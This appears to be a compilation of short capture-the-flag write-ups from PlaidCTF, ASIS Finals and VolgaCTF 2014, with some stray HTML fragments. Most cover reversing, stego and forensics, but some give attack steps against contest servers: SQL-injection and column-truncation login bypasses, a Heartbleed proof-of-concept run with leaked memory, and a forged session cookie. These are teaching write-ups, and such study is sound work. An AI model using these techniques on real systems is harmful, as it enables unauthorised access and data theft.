```K(0,116) // 't'K(1,101) // 'e'K(2,115) // 's'K(3,116) // 't'```
In `solveme.cpp` this key is then stored using template specialization:
```cpptemplate <int i> struct key { S r = 0; };#define K(i,v) template<> struct key { S r = v; };```
Hence using `key::r` will return the key at position `i` (or `0` when the index is out of range). The code in `solveme.cpp` continues to use C++ [template metaprogramming](https://en.wikipedia.org/wiki/Template_metaprogramming) to verify this password at compile time. At runtime it checks the result of the compile time operation, and says if they key was correct or not:
```cppint main() { if (!vv<0>::r) // print 16 characters (aka the key) else std::cout << "Wrong\n"; return 0;}```
From this we can tell the key is 16 characters long. Now we have to reverse engineer all the `#define`s and templates. This can be done by slowly refactoring them. This is tedious work, and we want to be sure our modifications are correct. The first option is to print out the result of `vv<0>::r` and assure our changes do not modify it. We can do better though. Take a look at how `vv<0>::r` is calculated:
```cpptemplate <int n> struct vvv { S r = gg<n>::r|gg<n+1>::r|gg<n+2>::r|gg<n+3>::r; };template <int n> struct vv { S r = vvv<0>::r|vvv<4>::r|vvv<8>::r|vvv<12>::r; };```
We learn that the value `vv<0>::r` is based on the values `gg::r` with `i` ranging between `0` and `15`. So we can print all the `gg::r` values and assure they never change when we refactor the code. Remark that `vv<0>::r` is zero (and the password is correct) if and only if all the `gg::r` are zero.
### Reversing Results
Reversing the `#define`s is left as an exercise for the reader (they are boring to read about anyway). In the end the definition of `gg` becomes:
```cpp// 0 <= n <= 15template <int n> struct gg { static const int r = (((hiddenkey<n,n|2>::r)) % 257) - makefilekey<(n>>2),((n)&3)>::rr;};```
We can see that both operands of the subtraction must be zero for the key to be valid. Furthermore, `makefilekey` depends on the key supplied in the `Makefile`, while `hiddenkey` only depends on data present in `solveme.cpp`. We don’t need to know how `hiddenkey` is calculated, we simply extract the values for all `n`. Now we want to find a key so that `gg::r` is zero for all `i`. This means `makefilekey<(n>>2),((n)&3)>` must match `hiddenkey<n,n|2>::r` for `n` between `0` and `15`. So how is `makefilekey<a,b>::r` computed?
```cpptemplate <int a, int b> struct makefilekey{ static const int rr = (lookup<(a)*4>::r * key::r + lookup<(a)*4+1>::r * key<b+4>::r + lookup<(a)*4+2>::r * key<b+8>::r + lookup<(a)*4+3>::r * key<b+12>::r) % 257;};```
Here `lookup` only depends on internal data in `solveme.cpp`. What’s crucial here is that `makefilekey<a,b>::r` only depends on four key bytes. In turn this means that `gg<0>::r`, `gg<4>::r`, `gg<8>::r`, and `gg<12>::r` depend only on `key<0>`, `key<4>`, `key<8>`, and `key<12>`. Hence these four key bytes can be bruteforced independently. The same is true for `key<1>`, `key<5>`, `key<9>`, and `key<13>`: They can also be bruteforced independent of the other bytes. In fact we can bruteforce the complete password in groups of four bytes. This is done by extracting the value of `lookup`, performing the calculation in `makefilekey`, and checking if they match the corresponding `hiddenkey` values.
My fully simplified solution can be found in [`solveme-simplified.cpp`](solveme-simplified.cpp).
### Solution
This solution bruteforces the keys in groups of four bytes:
```cpp#include <stdio.h>
static const int hiddenkey_table[] = { 15, 25, 172, 31, 100, 17, 225, 137, 162, 71, 187, 191, 11, 105, 176, 94};
static const int lookup_table[] = { 13, 68, 87, 202, 29, 244, 71, 122, 173, 228, 247, 42, 125, 148, 39, 90};
static int calc_makefilekey(const char *password, int n) { int a = n / 4; int b = n % 4;
return (lookup_table[a*4] * password[b] + lookup_table[a*4+1] * password[b+4] + lookup_table[a*4+2] * password[b+8] + lookup_table[a*4+3] * password[b+12]) % 257;}
int main() { char crackedpw[20] = {0};
// Crack key in groups of 4 chars at once for (int off = 0; off < 4; ++off) { bool found = false; printf("Cracking at offset %d...\n", off);
for (int c1 = ' '; !found && c1 <= '~'; ++c1) { crackedpw[off] = c1; for (int c2 = ' '; !found && c2 <= '~'; ++c2) { crackedpw[off+4] = c2; for (int c3 = ' '; !found && c3 <= '~'; ++c3) { crackedpw[off+8] = c3; for (int c4 = ' '; !found && c4 <= '~'; ++c4) { crackedpw[off+12] = c4;
if ( calc_makefilekey(crackedpw, off) == hiddenkey_table[off] && calc_makefilekey(crackedpw, off+4) == hiddenkey_table[off+4] && calc_makefilekey(crackedpw, off+8) == hiddenkey_table[off+8] && calc_makefilekey(crackedpw, off+12) == hiddenkey_table[off+12] ) { found = true; } } } } } }
printf("Cracked password: %s\n", crackedpw);}```
The solution is `C++_m0re_lyk_C--`.
### Comments
You can also solve this by constructing and solving the linear equations (with the key bytes as unknowns). For example, for the key bytes at position 0, 4, 8, and 12 we have the linear equations:
```( 13 * k0 + 68 * k4 + 87 * k8 + 202 * k12) Mod 257 = 15( 29 * k0 + 244 * k4 + 71 * k8 + 122 * k12) Mod 257 = 100(173 * k0 + 228 * k4 + 247 * k8 + 42 * k12) Mod 257 = 162(125 * k0 + 148 * k4 + 39 * k8 + 90 * k12) Mod 257 = 11```
Using the `gaussJordan.py` file [found here](http://anh.cs.luc.edu/331/code/) we can solve this system using Python:
```python>>> import guassJordan as gj>>> A = [[13, 68, 87, 202, 15], [29, 244, 71, 122, 100], [173, 228, 247, 42, 162], [125, 148, 39, 90, 11]]>>> t = gj.matConvert(A, gj.ZMod(257))>>> gj.gauss_jordanExactField(t)True>>> t[[Mod(1, 257), Mod(0, 257), Mod(0, 257), Mod(0, 257), Mod(67, 257)], [Mod(0, 257), Mod(1, 257), Mod(0, 257), Mod(0, 257), Mod(109, 257)], [Mod(0, 257), Mod(0, 257), Mod(1, 257), Mod(0, 257), Mod(95, 257)], [Mod(0, 257), Mod(0, 257), Mod(0, 257), Mod(1, 257), Mod(95, 257)]]>>> chr(67), chr(109), chr(95), chr(95)('C', 'm', '_', '_')```
These characters match the solution of our bruteforce attack. Note that the Python files required to run this have been mirrored in the directory of this write-up.
## Other write-ups and resources
* <https://fail0verflow.com/blog/2014/plaidctf2014-re200-gxx.html>* <https://docs.google.com/a/google.com/document/d/1jo_taidfAJsCbWUIpU9dYryhtTQr5YLON7BnIr0WN-k/edit>* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/reversing/g%2B%2B)* [Indonese](http://blog.rentjong.net/2014/04/plaidctf2014-write-up-g-reversing200.html)* <http://j00ru.vexillium.org/dump/ctf/g++.cc> |
plaidctf forensic 400 - quick writeup - by alanh0 @ VXRL1. use tools like "USF Explorer Pro" to recover "disk"2. firstly you find one file "not_the_key", well it's not key, dig deeper.3. use the tool "USF Explorer Pro" to recover the "disk" file, there's a folder containing "key.xor_encrypted" and "xor_key"4. by self-explanatory file names, tried to do xor for these two files5. python code:---------------------------from binascii import unhexlify, hexlifydef get_bytes_from_file(filename): return open(filename, "rb").read() encByte = get_bytes_from_file('key.xor_encrypted')keyByte = get_bytes_from_file('xor_key')s = ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(encByte[-len(keyByte):], keyByte))print s---------------------------6. got the shark :) < ZFS_daTa_1s_s4f35t_d4t4 >the detailed writeup with screenshots / hex analysis approach will be provided soon |
---- Writeup ----CTF: VOLGACTF QUALS 2014Problem: web-200Author: Dr.OptixAll rights reserved.NOTE: Raw notes. Also I plaid as Team Guest as I could not register my one man army team in time.-----------------The problem starts here:http://tasks.2014.volgactf.ru:28102/Doing basic recon I found that I can create any account, similar with web-100,but I can't spot an injection spot, besides the login form.Martian's image looks quite dirty on the left side, clue?I teste a few injections of the following form in the login form and got nothing:login=admin&password=' or 1=1 -- &submit='Out of boredoom I did:login=admin&password[]=' or 1=1 -- &submit='And obtained the following message:This is your flag: COLUMN_TRUNCATION =/Hello,adminThe flag is indeed: COLUMN_TRUNCATIONUPDATE:They patched that bug. Now I have to solve it right. Knowing that I have to do with column truncation I injected this:login=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&password=Aa1234567890&submit=I logged in as admin. Now... to the flag...I had to login as "admin" with the password I choose above, "Aa1234567890".Bingo!This is your flag: COLUMN_TRUNCATION =/Hello,adminConclusion: solved it by using both bug in challenge and bug/vulnerability in MySQL~ Q.E.D |
<span> 1. [00:05] Breaking Bad - s05e07</span><span> 2. [01:05] Prison Break - s02e03</span><span> 3. [01:58] Walking Dead - s03e03</span> 4. [xx:xx] Sherlock - s03e01<span> 5. [03:38] Smallville s06e17 http://smallville.wikia.com/wiki/Titan</span> 6. [xx:xx] Game of Thrones - s01e07<span> 7. [05:20] How I Met Your Mother - s09e14 8</span><span>. [06:12] Supernatural - s07e12 - http://en.wikipedia.org/wiki/Supernatural_(season_7) "11:34"</span> 9. [xx:xx] Flash Forward s01e07<span>10. [07:54] Heroes s01e20</span><span>11. [08:38] Lost s04e05 - http://www.imdb.com/title/tt0994365/quotes</span>12. [xx:xx] <span>Firefly - s01e04</span><span>13. [10:20] Breaking Bad - s03e10 - http://breakingbad.wikia.com/wiki/Fly</span>The solution was: "57;23;33;31;617;17;914;712;17;120;45;14;310" |
You are given a string very likely that it's base64 of some data (its length is divisible by 4 and last character is '=' sign). So:$ base64 --decode > fileQlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcyQtA2gNbvXgSvxdyRThQkDxS<span>mOA=$ cat fileBZh91AY..(binary file)Google BZh91AY, find bz2$ bzip2 -d filebzip2: Can't guess original name for file -- using file.out$ cat file.out9afa828748387b6ac0a393c00e542079The key is: </span>9afa828748387b6ac0a393c00e542079 |
This challenge was fairly simple, although the binary changed 3 times.when one runs the file , it just outputs Baby Crackme in an infinite loop.<span>by opening the file with gdb and examining the beginning of main(), one sees :Dump of assembler code for function main: 0x08048454 <+0>: push ebp 0x08048455 <+1>: mov ebp,esp 0x08048457 <+3>: and esp,0xfffffff0 0x0804845a <+6>: sub esp,0x10 0x0804845d <+9>: cmp DWORD PTR [ebp+0x8],0x1 0x08048461 <+13>: jg 0x8048471 <main+29> 0x08048463 <+15>: mov DWORD PTR [esp],0x80485b0 0x0804846a <+22>: call 0x8048384 <puts@plt> 0x0804846f <+27>: jmp 0x8048463 <main+15> 0x08048471 <+29>: mov DWORD PTR [esp],0x47......the line </span><span> 0x0804845d <+9>: cmp DWORD PTR [ebp+0x8],0x1 is the giveaway. memory location </span>DWORD PTR [ebp+0x8] is main's argc argument. if that is greater than one, then the program outputs G00d_B0y, the flag.r |
For this challenge, we were given with a sound.wav file.We opened the file with Audacity as usually, and we thought that it was a morse code, later we found that it was spectrogram.So we just used spectrogram option in audacity and it reveals the flag :)flag: e5353bb7b57578bd4da1c898a8e2d767 |
After looking at files it was obvious that problem depends on solving sudoku in sudoku.png.First an online sudoku solver like: http://www.sudoku-solutions.com/The name of file "row-major-order" tell us that we must change order of pieces of image relate to solved sudoku.Doing this process with hand was frustrating so using a quick python script will help:<span>runme.py:import Imageimage = Image.open("image.png")result = Image.open("image.png")def move(row1, col1, row2, col2):</span> xsize, ysize = image.size delta_x = xsize / 9<span> delta_y = ysize / 9<span> part1 = image.crop(((col1 - 1)*delta_x, (row1 - 1)*delta_y, col1*delta_x, row1*delta_y)) result.paste(part1, ((col2 - 1)*delta_x, (row2 - 1)*delta_y, col2*delta_x, row2*delta_y))<span>def correct_row(list, row): i = 1<span> for l in list:</span> move(row, i, row, l)<span> i += 1<span>correct_row([9,6,4,1,2,7,5,3,8], 1)correct_row([7,1,2,3,8,5,6,9,4], 2)correct_row([3,8,5,4,9,6,7,1,2], 3)correct_row([4,9,1,5,7,8,2,6,3], 4)correct_row([2,3,8,6,1,4,9,7,5], 5)correct_row([5,7,6,2,3,9,8,4,1], 6)image.show()result.show()</span></span></span></span></span> |
# ASIS Cyber Security Contest Finals 2014: Natural algorithm
**Category:** Stego, Recon**Points:** 150**Description:**
> Find flag in the [image](sunflower_2b870888a7b24ca81ff00529550ecd5f).
## Write-up
Let’s see what [the provided file](sunflower_2b870888a7b24ca81ff00529550ecd5f) could be:
```bash$ file sunflower_2b870888a7b24ca81ff00529550ecd5fsunflower_2b870888a7b24ca81ff00529550ecd5f: xz compressed data```
So, we extract the file using the built-in `xz` or `unxz` commands:
* `xz -dc < sunflower_2b870888a7b24ca81ff00529550ecd5f > sunflower`* `unxz < sunflower_2b870888a7b24ca81ff00529550ecd5f > sunflower`
Alternatively, extract the provided file using [p7zip](http://p7zip.sourceforge.net/):
```bash7z x sunflower_2b870888a7b24ca81ff00529550ecd5f```
Let’s find out what the extracted file is:
```bash$ file sunflowersunflower: TIFF image data, little-endian```
Renaming the file to `sunflower.tiff` and opening it in an image viewer reveals a picture of a sunflower (who’d have thought?!). [A reverse image search](https://goo.gl/XVhPvX) shows lots of results regarding [Fibonacci numbers](https://en.wikipedia.org/wiki/Fibonacci_number) in nature.
Maybe we should read each byte from the file whose offset corresponds to a Fibonacci number? Let’s see what happens if we do that:
```python#!/usr/bin/env python# coding=utf-8import os
file_path = 'sunflower.tiff'file_size = os.stat(file_path).st_sizef = open(file_path, 'rb')
current_offset = 1next_offset = 1result = ''while next_offset <= file_size: current_offset, next_offset = next_offset, current_offset + next_offset f.seek(current_offset) result += f.read(1)print result```
Running the above Python script prints:
```I*. ASIS_md5(Fib[10^6])```
So, we need to figure out what the `10^6`th Fibonacci number is, then calculate its MD5 hash. Luckily, we don’t have to compute this number ourselves — there is [a website dedicated to it](http://www.upl.cs.wisc.edu/~bethenco/fibo/)!
Copying the number from there and removing all line breaks should result in [a very long string](https://gist.githubusercontent.com/anonymous/e787672f2f174db5e9cd/raw/2dca7ad19e560fafb5f5d4f8a1246a983891cf16/fibonacci-1000000.txt) with MD5 hash `e73d27576c4f40d414d9f666c3c79554`.
The flag is `ASIS_e73d27576c4f40d414d9f666c3c79554`.
## Other write-ups and resources
* none yet |
# ASIS Cyber Security Contest Finals 2014: Capsule
**Category:** Forensics**Points:** 125**Description:**
> Find the flag in this [file](capsule_239acad5fcfe4722e624da66c9c02542).
## Write-up
Let’s see what [the provided file](capsule_239acad5fcfe4722e624da66c9c02542) could be:
```bash$ file capsule_239acad5fcfe4722e624da66c9c02542capsule_239acad5fcfe4722e624da66c9c02542: xz compressed data```
So, we extract the file using the built-in `xz` or `unxz` commands:
* `xz -dc < capsule_239acad5fcfe4722e624da66c9c02542 > capsule`* `unxz < capsule_239acad5fcfe4722e624da66c9c02542 > capsule`
Alternatively, extract the provided file using [p7zip](http://p7zip.sourceforge.net/):
```bash7z x capsule_239acad5fcfe4722e624da66c9c02542```
Let’s find out what the extracted file is:
```bash$ file capsulecapsule: data```
Running `strings capsule` reveals that the file contains the text “Counters provided by dumpcap”. Could this be a broken packet capture file? Let’s try running `pcapfix` on it:
```bash$ pcapfix capsulepcapfix 1.1.0 (c) 2012-2014 Robert Krause
[*] Reading from file: capsule[*] Writing to file: fixed_capsule[*] File size: 2875396 bytes.[+] This is a PCAPNG file.[-] Minor version number: 256 ==> CORRECTED.[-] Unknown block type!: 0x01000001 ==> SKIPPING.[-] Block size mismatch (0x00000001 != 0x00000058) ==> CORRECTED.[-] Found 76 bytes of unknown data ==> SKIPPING.[-] Missing IDB for Interface #0 ==> CREATING (#0).[*] Progress: 20.01 %[*] Progress: 40.01 %[*] Progress: 60.00 %[*] Progress: 80.01 %[+] SUCCESS: 5 Corruption(s) fixed!```
Now we can open `fixed_capsule` in Wireshark. _Statistics_ → _Protocol Hierarchy_ reveals heavy usage of [AFP](https://nl.wikipedia.org/wiki/Apple_Filing_Protocol). After looking through the traffic for a while, we note that one particular frame contains a response that consists of ASCII art (`frame.number == 9624`).
Right-click and select _Copy_ → _Bytes_ → _Printable Text Only_ to get the response:
```@ _ ____ ___ ____ _____ _ ___ __ ___ _ _ ___ _ _ _ _ __ ___ ___ _ _ _ _____ _ ___ _ ____ ___ / \ / ___|_ _/ ___| |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \ __| | __| | || | / _| __ _ / _ \ __ _ ( _ ) __| | ___ __ _| || ||___ / ___ __| | __ _ ___ ___ ( _ )| |__|___ \ / _ \ / _ \ \___ \| |\___ \ |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | | / ___ \ ___) | | ___) | ___) | | (_) | _| __/ |_| | |_) | | (__| |_| | (_| | (_| |__ _| _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__ _|__) | __/ (_| | (_| | (_| __/ (_) | |_) / __/| |_| |/_/ \_\____/___|____/___|____/|_|\___/|_| \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_| |_| |_| \__,_|\___/ \__,_|\___/ \__,_|\___\__,_| |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ |_____|```
This shows the flag `ASIS_318fe0b1c0dd4fa0a8dca43edace8b20` in ASCII art.
----
**Note:** It’s also possible to find the solution by just running `strings` on the damaged packet capture file:
```bash$ strings -n 100 fixed_capsule _ ____ ___ ____ _____ _ ___ __ ___ _ _ ___ _ _ _ _ __ ___ ___ _ _ _ _____ _ ___ _ ____ ___ / \ / ___|_ _/ ___| |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \ __| | __| | || | / _| __ _ / _ \ __ _ ( _ ) __| | ___ __ _| || ||___ / ___ __| | __ _ ___ ___ ( _ )| |__|___ \ / _ \ / _ \ \___ \| |\___ \ |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | | / ___ \ ___) | | ___) | ___) | | (_) | _| __/ |_| | |_) | | (__| |_| | (_| | (_| |__ _| _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__ _|__) | __/ (_| | (_| | (_| __/ (_) | |_) / __/| |_| |/_/ \_\____/___|____/___|____/|_|\___/|_| \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_| |_| |_| \__,_|\___/ \__,_|\___/ \__,_|\___\__,_| |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ |_____|…```
## Other write-ups and resources
* <http://shankaraman.wordpress.com/2014/10/13/asis-ctf-2014-finals-capsule-writeup/>* <http://www.mrt-prodz.com/blog/view/2014/10/asis-ctf-finals-2014---capsule-125pts-writeup> |
# ASIS Cyber Security Contest Finals 2014: XORQR
**Category:** PPC**Points:** 150**Description:**
> Connect here and find the flag:>> ```bash> nc asis-ctf.ir 12431> ```
## Write-up
_This write-up is made by Steven of the [HacknamStyle](http://hacknamstyle.net/) CTF team._
This challenge sends, after you send "START", a blob of text consisting of "-" and "+"characters formatted in a square, such as this one:
```-+++++-+---++-+-----+-------++--++-+++++++--+++--++--++-++---++--+++--++--++-++---++--+++--++-----++---++-------++++---+++++++-+++++-++-----+-----++-----++---+---+++++-+-+--+--+--+-+--------+++-++-++--+--+++--+-+++-+-++++-+--+++++-+--++-++--++++-+--+--++--++--+--+++-++-++-+-----+++-+-+-++++----+++++-++--+++---++-+-------++-++++-+++++---+++--+--++-------++--+++--+---++++++-++---+++--+++-++++++-+-+-------+--+++-+-+--++-+++++-+--++++-++-+-+```
This blob represents a QR code where each character represents either a white orblack pixel. The QR code is mangled so that some rows and columns have been inverted.With information from wikipedia about [QR codes](http://en.wikipedia.org/wiki/QR_code)we can see that the QR code can be restored by making sure that the Positionand Alignment patterns are shown correctly.After that, it's just a matter of decoding the restored QR code and submittingthe decoded text. After 15 rounds or so, where the server sometimes injects "?"instead of "-" or "+", which automatically gets repaired, we get the flag.
```Congratulations! The flag is ASIS_68d47fab03368ff94025a4f4a1dabf0f```
The script to solve this challenge is in ```solve-xorqr.py```, and 15 QR codesreceived and restored from the server are in ```example-qrs```.
## Other write-ups and resources
* <https://github.com/arkty/asis-ctf-finals-2014-xorqr>* <http://blog.squareroots.de/en/2014/10/asis-finals-2014-xoror-ppc-150/> |
We got a C source code. If we look carefully at it we will notice that some lines are indented with tabs while others are indented with spaces.The solution is just to comment or delete the lines indented with tabs and execute the code to get the flag.Flag: D0nT_e4t_Sushi |
# ASIS Cyber Security Contest Finals 2014: Fact or Real?
**Category:** Recon**Points:** 25**Description:**
> `ASIS_md5(motto)`
## Write-up
_factoreal_ is one of the organizers of this CTF. On [his Twitter account](https://twitter.com/factoreal) we find [a tweet with the text “fact or real:” followed by an image that says `NO+$=YES`](https://twitter.com/factoreal/status/486459604973662208).
```bash$ md5 -s 'NO+$=YES'MD5 ("NO+$=YES") = d25b9c2f1c29e49e81e8fdfaf4d16fc6```
The flag is `ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6`.
## Other write-ups and resources
* <http://www.mrt-prodz.com/blog/view/2014/10/asis-ctf-finals-2014---fact-or-real-75pts-writeup> |
# Plaid CTF 2014: Heartbleed
**Category:** Misc**Points:** 10**Description:**
> Our hearts are bleeding. But instead of bleeding password bytes, they're bleeding flags. Please recover our flags so we don't bleed to death before we can update to 1.0.1-g. Site is up at <https://54.82.147.138:45373/>.>> (The flag format is `flag{...}`.)
## Write-up
The challenge name makes it pretty clear that the server is vulnerable to the [the Heartbleed bug](http://heartbleed.com/). Let’s use the famous [Heartbleed proof of concept script](heartbleed.py) and see what kind of data the server leaks:
```bash$ ./heartbleed.py -p 45373 54.82.147.138Connecting...Sending Client Hello...Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 837 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384Received heartbeat response: 0000: 02 40 00 66 6C 61 67 7B 68 65 79 5F 67 75 69 73 [email protected]{hey_guis 0010: 65 5F 77 65 5F 6D 61 64 65 5F 61 5F 68 65 61 72 e_we_made_a_hear 0020: 74 62 6C 65 65 64 7D 00 66 6C 61 67 7B 68 65 79 tbleed}.flag{hey 0030: 5F 67 75 69 73 65 5F 77 65 5F 6D 61 64 65 5F 61 _guise_we_made_a 0040: 5F 68 65 61 72 74 62 6C 65 65 64 7D 00 66 6C 61 _heartbleed}.fla 0050: 67 7B 68 65 79 5F 67 75 69 73 65 5F 77 65 5F 6D g{hey_guise_we_m 0060: 61 64 65 5F 61 5F 68 65 61 72 74 62 6C 65 65 64 ade_a_heartbleed 0070: 7D 00 66 6C 61 67 7B 68 65 79 5F 67 75 69 73 65 }.flag{hey_guise 0080: 5F 77 65 5F 6D 61 64 65 5F 61 5F 68 65 61 72 74 _we_made_a_heart 0090: 62 6C 65 65 64 7D 00 66 6C 61 67 7B 68 65 79 5F bleed}.flag{hey_ 00a0: 67 75 69 73 65 5F 77 65 5F 6D 61 64 65 5F 61 5F guise_we_made_a_ … 3fc0: 66 6C 61 67 7B 68 65 79 5F 67 75 69 73 65 5F 77 flag{hey_guise_w 3fd0: 65 5F 6D 61 64 65 5F 61 5F 68 65 61 72 74 62 6C e_made_a_heartbl 3fe0: 65 65 64 7D 00 66 6C 61 67 7B 68 65 79 5F 67 75 eed}.flag{hey_gu 3ff0: 69 73 65 5F 77 65 5F 6D 61 64 65 5F 61 5F 68 65 ise_we_made_a_he
WARNING: server returned more data than it should; server is vulnerable!```
The flag is `flag{hey\_guise\_we\_made\_a\_heartbleed}`.
## Other write-ups and resources
* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/web/heartbleed)* <https://github.com/hackerclub/writeups/blob/master/plaidctf-2014/Heartbleed/WRITEUP-pipecork.md>* <http://csrc.tamuc.edu/css/?p=152>* <https://docs.google.com/document/d/1Y0wGrFkGUsK9Gzqh4sQnMHZDgWfMMvfPUN-vVjPNDfI/edit?pli=1>* <http://akaminsky.net/plaidctf-quals-2014-misc-10-heartbleed/>* [Spanish](http://crackinglandia.blogspot.com.ar/2014/04/plaidctf-2014-heartbleed-misc-10-pts.html) |
# ASIS Cyber Security Contest Finals 2014: Lottery
**Category:** Web**Points:** 100**Description:**
> Go here:>> <http://asis-ctf.ir:12437/>
## Write-up
The web site says:
> The 1234567890th visitor, the prize awarded.> Anyone who has visited our site is the 1234567890th Special prizes are awarded.> You are the 717 visitor> Don't hack cookies, we are alive :)
The site sets a cookie named Visitor with the following contents:
```NzE3Ojc4OGQ5ODY5MDU1MzNhYmEwNTEyNjE0OTdlY2ZmY2Ji```
This is the base64-encoded version of the string `717:788d986905533aba051261497ecffcbb`, i.e., the visitor count followed by the MD5 hash for that number.
What is the MD5 hash for `1234567890`?
```bash$ md5 -s '1234567890'MD5 ("1234567890") = e807f1fcf82d132f9bb018ca6738a19f```
So, let’s set the cookie value to the base64-encoded version of:
```1234567890:e807f1fcf82d132f9bb018ca6738a19f```
…which is:
```bash$ base64 <<< '1234567890:e807f1fcf82d132f9bb018ca6738a19f'MTIzNDU2Nzg5MDplODA3ZjFmY2Y4MmQxMzJmOWJiMDE4Y2E2NzM4YTE5Zgo=```
Refreshing the page now reveals the following message:
> The 1234567890th visitor, the prize awarded.> Anyone who has visited our site is the 1234567890th Special prizes are awarded.> the flag is: ASIS_9f1af649f25108144fc38a01f8767c0c
And indeed, `ASIS\_9f1af649f25108144fc38a01f8767c0c` is the flag.
## Other write-ups and resources* <http://dhanvi1.wordpress.com/2014/10/24/lottery-asis-ctf-2014-web-100-writeup/>* <http://www.mrt-prodz.com/blog/view/2014/10/asis-ctf-finals-2014---lottery-100pts-writeup>* <https://hackucf.org/blog/asis-2014-web-100-lottery/>* <https://beagleharrier.wordpress.com/2014/10/13/asis-ctf-finals-2014lottery-writeup/>* <http://bruce30262.logdown.com/posts/237386-asis-ctf-finals-2014-how-much-exactly-lottery>* <http://barrebas.github.io/blog/2014/10/31/asis-ctf-lottery/> |
You were given some images, they were actually punch-cards, and had to get the key from them.Write-up is at https://0x44696f21.wordpress.com/ .0x44696f21 |
#!/bin/sh#for pctf2014 gcc problem helloksudo tee /usr/lib/ssl/openssl.cnf > /dev/null <<'EOF'## OpenSSL example configuration file.# This is mostly being used for generation of certificate requests.#
# This definition stops the following lines choking if HOME isn't# defined.HOME = .RANDFILE = $ENV::HOME/.rnd
# Extra OBJECT IDENTIFIER info:#oid_file = $ENV::HOME/.oidoid_section = new_oids
# To use this configuration file with the "-extfile" option of the# "openssl x509" utility, name here the section containing the# X.509v3 extensions to use:# extensions = # (Alternatively, use a configuration file that has only# X.509v3 extensions in its main [= default] section.)
[ new_oids ]
# We can add new OIDs in here for use by 'ca', 'req' and 'ts'.# Add a simple OID like this:# testoid1=1.2.3.4# Or use config file substitution like this:# testoid2=${testoid1}.5.6
# Policies used by the TSA examples.tsa_policy1 = 1.2.3.4.1tsa_policy2 = 1.2.3.4.5.6tsa_policy3 = 1.2.3.4.5.7
####################################################################[ ca ]default_ca = CA_default # The default ca section
####################################################################[ CA_default ]
dir = ./demoCA # Where everything is keptcerts = $dir/certs # Where the issued certs are keptcrl_dir = $dir/crl # Where the issued crl are keptdatabase = $dir/index.txt # database index file.#unique_subject = no # Set to 'no' to allow creation of # several ctificates with same subject.new_certs_dir = $dir/newcerts # default place for new certs.
certificate = $dir/cacert.pem # The CA certificateserial = $dir/serial # The current serial numbercrlnumber = $dir/crlnumber # the current crl number # must be commented out to leave a V1 CRLcrl = $dir/crl.pem # The current CRLprivate_key = $dir/private/cakey.pem# The private keyRANDFILE = $dir/private/.rand # private random number file
x509_extensions = usr_cert # The extentions to add to the cert
# Comment out the following two lines for the "traditional"# (and highly broken) format.name_opt = ca_default # Subject Name optionscert_opt = ca_default # Certificate field options
# Extension copying option: use with caution.# copy_extensions = copy
# Extensions to add to a CRL. Note: Netscape communicator chokes on V2 CRLs# so this is commented out by default to leave a V1 CRL.# crlnumber must also be commented out to leave a V1 CRL.# crl_extensions = crl_ext
default_days = 365 # how long to certify fordefault_crl_days= 30 # how long before next CRLdefault_md = default # use public key default MDpreserve = no # keep passed DN ordering
# A few difference way of specifying how similar the request should look# For type CA, the listed attributes must be the same, and the optional# and supplied fields are just that :-)policy = policy_match
# For the CA policy[ policy_match ]countryName = optional#matchstateOrProvinceName = optional#matchorganizationName = optional#matchorganizationalUnitName = optionalcommonName = suppliedemailAddress = optional
# For the 'anything' policy# At this point in time, you must list all acceptable 'object'# types.[ policy_anything ]countryName = optionalstateOrProvinceName = optionallocalityName = optionalorganizationName = optionalorganizationalUnitName = optionalcommonName = suppliedemailAddress = optional
####################################################################[ req ]default_bits = 2048default_keyfile = privkey.pemdistinguished_name = req_distinguished_nameattributes = req_attributesx509_extensions = v3_ca # The extentions to add to the self signed cert
# Passwords for private keys if not present they will be prompted for# input_password = secret# output_password = secret
# This sets a mask for permitted string types. There are several options. # default: PrintableString, T61String, BMPString.# pkix : PrintableString, BMPString (PKIX recommendation before 2004)# utf8only: only UTF8Strings (PKIX recommendation after 2004).# nombstr : PrintableString, T61String (no BMPStrings or UTF8Strings).# MASK:XXXX a literal mask value.# WARNING: ancient versions of Netscape crash on BMPStrings or UTF8Strings.string_mask = utf8only
# req_extensions = v3_req # The extensions to add to a certificate request
[ req_distinguished_name ]countryName = Country Name (0 letter code)countryName_default = ''countryName_min = 0countryName_max = 0
stateOrProvinceName = State or Province Name (full name)stateOrProvinceName_default = ''#Some-State
localityName = Locality Name (eg, city)
0.organizationName = Organization Name (eg, company)0.organizationName_default = '#'#Internet Widgits Pty Ltd
# we can do this but it is not needed normally :-)#1.organizationName = Second Organization Name (eg, company)#1.organizationName_default = World Wide Web Pty Ltd
organizationalUnitName = Organizational Unit Name (eg, section)organizationalUnitName_default = Plaid CTF
